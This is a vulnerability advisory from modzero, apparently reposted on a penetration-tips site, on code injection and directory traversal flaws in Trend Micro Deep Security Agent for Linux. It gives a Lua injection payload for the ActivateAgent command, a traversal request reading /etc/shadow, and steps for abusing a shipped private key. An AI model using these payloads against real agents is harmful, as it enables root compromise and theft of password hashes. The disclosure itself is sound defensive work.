趋势科技 Deep Security Agent 任意文件读取/权限提升漏洞（CVE-2022-23119/CVE-2022-23120）

渗透技巧 2年前 (2022) admin

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modzero Security Advisory [MZ-21-02]:
Critical Vulnerabilities in Trend Micro Deep Security Agent for Linux
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1. Timeline
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* 2021-09-07: Initial contact, PGP key exchange, Advisory (draft)
along with fully working exploits written in Python
submitted.
* 2021-09-08: Received a (probably automated) plaintext reply full-
quoting the previously PGP-encrypted initial email.
* 2021-09-15: Asked for status update and the usage of PGP.
* 2021-09-18: Received confirmation for the observed behavior.
* 2021-09-22: Trend Micro shared a status update: They are working on
a fix, ETA is end of October 2021.
* 2021-09-23: Asked for a CVE number.
* 2021-09-27: Received confirmation that vulnerabilities are valid.
Assignment of CVE would depend on fix to be released.
* 2021-10-12: Received a test build, that supposedly fixes code
injection and directory traversal issues.
* 2022-01-12: Assignment of CVE numbers: CVE-2022-23119,
CVE-2022-23120
* 2022-01-19: Public release

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2. Summary
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Vendor: Trend Micro
Homepage: https://www.trendmicro.com

Products known to be affected:

- Deep Security Agent 20.0.0-2740 for Ubuntu
- Deep Security Agent 20.0.0-2921 for Ubuntu

The Trend Micro Deep Security Agent is an agent software for different
operating systems, that connects with a server software to perform
tasks related to virus protection.

The Trend Micro Deep Security software suite consists of server and a
client (agent) component. After an initial configuration (activation),
the clients are managed by the server.

Once installed as instructed by the vendor, the Trend Micro Deep
Security agent is running as root user. A compromise of the agent
results in high privileges on the system.

If left unconfigured, a machine with the Deep Security agent
installed is vulnerable to a privilege escalation attack, that allows
a local attacker to run arbitrary code as root. This is due to a code
injection vulnerability in the `ActivateAgent` command, which is sent
by the server.

An addition directory traversal vulnerability in the `GetCopiedFile`
command allows a remote attacker to read arbitrary files from the
filesystem.

The Trend Micro Deep Security agent software is shipped with
hardcoded credentials such as private key material.

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3. Details
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* 3.1. Local Privilege Escalation

The Trend Micro Deep Security Agent does not perform proper input
sanitization, which allows a local unprivileged attacker to inject
and run code as `root` user.

The `ActivateAgent` remote procedure call can be used to inject lua
code as can be seen in the disassembly:

---- listing 1 ----
local Activate = function(self)
self.connectionHandler.dom:SetNil(self.activationLogSetting)
self.connectionHandler.dom:SetNil(self.activationCodeSetting)
cb:Invoke(CALLBACKS.PreThreadCreate, self)
if not self.activationThread then
local codeToRun = self.codeToRunFmt:format(dsa.DomString(self.connectionHandler.dom:Get("uuid")), self.url, self.activationLogSetting, self.activationCodeSetting)
dsa.LogTrace(_NAME, "Starting thread to execute: %s", codeToRun)
self.activationThread = Thread(codeToRun, "ActivateThread", self.connectionHandler.dom)
end
---- /listing 1 ----

The variable `self.url` is an attacker controlled input (via the
`host` HTTP-GET parameter), thus `codeToRun` is attacker controlled.
In line 8 of listing 2 that code is executed.
An example request sent with the `sendCommand` utility, that is
shipped with the agent software looks like this:

---- listing 2 ----
./sendCommand --get 'ActivateAgent' 'host=","","");print("PoC");aia=Activate("http'
---- /listing 2 ----

In the log file, the debug message from line 7 is visible:

---- listing 3 ----
2021-08-26 07:30:48.518144 [-0800]: [dsa.Command.ActivateAgent/5] | Starting thread to execute: local Activate = require "dsa.Activate"; local aia = Activate(nil, "https://","","");print("PoC");aia=Activate("http:4120/", "dsa.Activate.logData", "dsa.Activate.statusCode"); aia:main(); | dsa/Command/ActivateAgent.lua:34:(null) | 792:7FB6077FF640:ConnectionHandlerPool_0004
---- /listing 3 ----

The `print("PoC")` command has been successfully injected into
`codeToRun`, which is then run, as can be seen in the next line
from the log file:

---- listing 4 ----
2021-08-26 07:30:48.598320 [-0800]: [Message/3] | PoC | [string "dsa"]:1:(null) | 792:7FB606CFF640:ActivateThread
---- /listing 4 ----

A more sophisticated PoC that runs the shell code `whoami > /poc` is
provided in the 'Exploits' section.

* 3.2. Arbitrary File Read / Directory Traversal

The Trend Micro Deep Security Agent does not perform proper input
validation and concatenates attacker controlled input to a filepath
as shown in the lua disassembly:

---- listing 5 ----
if dsa.OS == "Linux" then
if connectionHandler.dom:Get("dsa.mode.vmsafeGuest") then
fname = plpath.join(workDir, "CopyFiles/copied/" .. queryArgs.taskname .. "/" .. queryArgs.fileid)
else
fname = plpath.join(workDir, "guests/0000-0000-0000/CopyFiles/copied/" .. queryArgs.taskname .. "/" .. queryArgs.fileid)
end
else
fname = plpath.join(workDir, "dsa_core\\CopyFiles\\copied\\" .. queryArgs.taskname .. "\\" .. queryArgs.fileid)
end
---- /listing 5 ----

Both `queryArgs.taskname` and `queryArgs.fileid` are attacker
controlled HTTP GET parameters.

An example request to get the `/etc/shadow` file with password hashes
would look like this:

`GET https://10.0.0.2:4118/GetCopiedFile?taskname=.&fileid=../../../../../../../etc/shadow`

If the agent is left unconfigured (has not been 'activated' by the
server component) or the server has been compromised, the agent is
vulnerable to such an attack.

* 3.3. Default CA is shipped with a private key

The Trend Micro Deep Security Agent authenticates remote servers
using mutual TLS (mTLS): Both the server and the agent identify each
other by presenting a certificate.

The agent software ships with a hardcoded default X.509 certificate
and a corresponding private key. Until the agent is configured
('activated') by the server component this certificate is used in
communications with the server. It is stored in the shared object file
/opt/ds_agent/lib/dsa_core.so

The agent software uses a certificate authority (CA) to establish the
server's identity. When the server connects to the agent, its
certificate is validated against this CA.

However, the agent uses its own certificate also as a CA. As this
certificate ships with a private key it is possible for an attcker to
create and sign their own server certificate, imitate a server and to
send commands to the client software.

Thus an attacker can:
* extract the CA (certificate + private key) from the agent software
* generate their own certificate + key
* sign their certificate with the CA taken from the agent software
* use it for further communication with the agent
* configure their own certificate in the agent and 'activate' it

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4. Impact
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The identified vulnerabilities in the Trend Micro Deep Security Agent
software result in local privilege escalation and arbitrary remote
file reads.

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5. Prerequisites
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For an attacker to suceed with a privilege escalation attack, the
agent has to be left unconfigured (not 'activated') or the server
component has to be compromised. Furthermore local code execution or
the ability to originate HTTP requests from localhost (e.g. SSRF) is
required.

For an attacker to succeed with a directory traversal attack, the
agent has to be left unconfigured (not 'activated') or the server
component has to be compromised. Furthermore network access to the
agent software is required.

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6. Exploits
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All PoC exploits, tools and additional information are available on
Github: https://github.com/modzero/MZ-21-02-Trendmicro

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7. Fix
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* 2021-10-12: The vendor supplied a test build that supposedly fixes
the directory traversal and the local privilege
escalation.

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8. Credits
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* Fluepke (Carl Fabian Luepke) of modzero

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9. About modzero
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The independent Swiss-German company modzero assists clients with
security analysis in the complex areas of computer technology. The
focus lies on highly detailed technical analysis of concepts,
software and hardware components as well as the development of
individual solutions. Colleagues at modzero work exclusively in
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https://www.modzero.com [email protected]

modzero follows coordinated disclosure practices described here:

https://www.modzero.com/static/modzero_Disclosure_Policy.pdf.

This policy should have been sent to the vendor along with this
security advisory.

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10. Disclaimer
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The information in the advisory is believed to be accurate at the
time of publishing based on currently available information. Use of
the information constitutes acceptance for use in an AS IS condition.
There are no warranties concerning this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from using, or
reliance on, this information.